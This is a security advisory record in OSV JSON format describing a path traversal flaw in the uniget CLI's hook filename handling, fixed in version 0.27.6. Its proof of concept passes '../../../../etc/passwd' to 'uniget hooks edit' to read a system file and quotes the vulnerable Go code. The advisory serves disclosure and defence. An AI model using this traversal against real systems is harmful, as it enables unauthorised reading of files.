{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitlab.com/uniget-org/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.27.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23",
      "CWE-36",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:46:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nPath Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).\n\n**Details**\nFile: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160`\n```\nhookFileName := args[0]  // User input not validated\nhookFile = preInstallHooksDir + \"/\" + hookFileName  // Direct concatenation\n```\n\nHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.\n\n\n\n### PoC\n**Step 1:** Set cat as editor\n```\nexport EDITOR=\"cat\"\n```\n**Step 2:** Read /etc/passwd via path traversal\n\n```\n./uniget hooks edit --type=pre-install \"../../../../etc/passwd\"\n```\n\n**Step 3:** Output shows file contents\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[...]\n```\n\n\u003cimg width=\"1014\" height=\"178\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab\" /\u003e",
  "id": "GHSA-m6jg-wr9m-cg2f",
  "modified": "2026-08-17T17:46:33Z",
  "published": "2026-08-17T17:46:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uniget-org/cli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/releases/tag/v0.27.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability"
}